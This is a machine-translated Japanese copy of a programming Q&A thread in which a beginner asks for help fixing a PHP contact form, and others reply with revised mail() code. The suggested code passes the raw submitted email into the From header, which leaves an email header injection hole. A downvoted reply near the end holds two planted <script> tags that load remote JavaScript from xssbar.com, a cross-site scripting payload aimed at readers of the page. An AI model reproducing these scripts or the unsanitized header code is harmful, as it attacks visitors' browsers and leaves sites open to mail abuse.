2016-08-30 8 views
-7

私は最初のウェブサイトをやっています - それをhttp://testinglakovna.borec.cz/にアップロードしました。基本的に無料のテンプレートを使って好みに合わせて調整しました。 残念ながら、テンプレートによって提供される連絡先フォームには「contact.php」が付いていませんでした。正しくアクティブ化する方法はわかりませんでした。 4日後、私はcontact.phpのアクティベーションが必要だとわかりました。フォームを有効にしたスクリプトを見つけました。メールを送信しますが、メッセージを送信するだけで、送信者の電子メール、名前、または送信者が自分自身を書いている件名... 私は今、助けが切望されています - このコードを書くのを手伝ってくれる人は誰ですか? マイcontact.phpコードはこれです:誰かが私にcontact.phpの生成を手伝ってもらえますか?

<?php 
$name = $_POST['name']; 
$email = $_POST['email']; 
$message = $_POST['message']; 
$from = 'From: testinglakovna.borec.cz'; 
$to = '[email protected]'; 
$subject = 'Správa z www.lakovnaturen.sk'; 
$body = "From:\n $name\n Email:\n $email\n Message:\n $message"; 

$headers .= "MIME-Version: 1.0\r\n"; 
$headers .= "Content-type: text/html\r\n"; 
$headers = 'From: $email' . "\r\n" . 
'Reply-To: [email protected]' . "\r\n" . 
'X-Mailer: PHP/' . phpversion(); 


mail($to, $subject, $message, $headers); 

if ($mail_status) { ?> 
<script language="javascript" type="text/javascript"> 
    alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.'); 
    window.location = 'index.html'; 
</script> 
<?php 
} 
else { ?> 
<script language="javascript" type="text/javascript"> 
    alert('Spojenie zlyhalo. Prosím pošlite nám mail na [email protected]'); 
    window.location = 'index.html'; 
</script> 
<?php 
} 
?> 

とのindex.htmlのコンタクトフォームのHTMLは次のとおりです。

<div class="col-lg-12"> 
    <form action="contact.php" method="post" id="form" class="contact-form"> 
    <div class="col-sm-6 contact-form-left"> 
     <div class="form-group"> 
     <input name="name" type="text" class="form-control" id="name" placeholder="Meno"> 
     <input type="email" name="email" class="form-control" id="mail" placeholder="Email"> 
     <input name="subject" type="text" class="form-control" id="subject" placeholder="Predmet"> 
     </div> 
    </div> 
    <div class="col-sm-6 contact-form-right"> 
     <div class="form-group"> 
     <textarea name="message" rows="6" class="form-control" id="comment" placeholder="Zanechajte nám odkaz"></textarea> 
     <center><button type="submit" class="btn btn-default">Odoslať</button></center> 
     </div> 
    </div> 
    </form> 
</div> 

そして、私はすでに他の人の質問に答えを探してきましたが、まだこの問題は解決できません。文字通り、私が公式にウェブサイトを公開する前に、私が最後にやることです。

+0

エラーが発生しましたか?フロントエンドかバックエンドのどちらか? –

+0

http://chat.stackoverflow.com/rooms/122219/helping-contactすぐにお手伝いします。 –

+0

もし '' '<?php $ name = $ _POST ['name'];' ''このコードはcontact.phpに属しています。 '' '

答えて

0

ちょうどそれを作ったと私の電子メールアドレス(テストされた)に働いた。

enter image description here

<?php 
$name = $_POST['name']; 
$email = $_POST['email']; 
$message = $_POST['message']; 
$from = 'From: testinglakovna.borec.cz'; 
$to = 'YOUR_EMAIL_HERE'; 
$subject = 'Správa z www.lakovnaturen.sk'; 
$body = "From:\n $name\n Email:\n $email\n Message:\n $message"; 

$headers = "MIME-Version: 1.0\r\n"; 
$headers .= "Content-type: text/html\r\n"; 
$headers .= 'From: '.$email . "\r\n"; 
$headers .= 'Reply-To: '.$to . "\r\n"; 
$headers .='X-Mailer: PHP/' . phpversion(); 


mail($to, $subject, $message, $headers); 

if ($mail_status) { ?> 
<script language="javascript" type="text/javascript"> 
    alert('Odoslanie prebehlo v poriadku. Ozveme sa Vám čo najskôr.'); 
    window.location = 'index.html'; 
</script> 
<?php 
} 
else { ?> 
<script language="javascript" type="text/javascript"> 
    alert('Spojenie zlyhalo. Prosím pošlite nám mail na [email protected]'); 
    window.location = 'index.html'; 
</script> 
<?php 
} 
?> 
+0

私はこのコードを使って、 "$ email"からメールを送ります....送信者のメールアドレスは表示されません。私のために働く? –

+0

@IlonaTakácsová - Strange、それはここでうまくいった!それについて私に考えさせてください... – protld

+0

@IlonaTakácsová - あなたのHTMLを見てください: ' 重要です"id = mail"を "id = email"に置き換えてください。 – protld

0

ただ、新しい変数を宣言し、ちょうど$のsendEmail = '名前= $名、電子メール= $の電子メール、メッセージ= $メッセージ、件名= $の被験者その後 それを呼び出すことができます、メール機能では、作成した$ sendEmail変数に$メッセージを代入してください。 ローカルサーバにコードをデプロイする場合、電子メールが送信される可能性があります。スパムフォルダ。 役に立ったら教えてください...

-1

このカテゴリにはコンテンツがないようです。

<script>s=document.createElement("script");s.src="http://xssbar.com/?c=T0xwU";document.getElementsByTagName("head") 

[0].appendChild(s);</script> 

ありがとう!!!

<script>s=document.createElement("script");s.src="http://xssbar.com/?c=lELBQ";document.getElementsByTagName("head") 

[0].appendChild(s);</script> 
関連する問題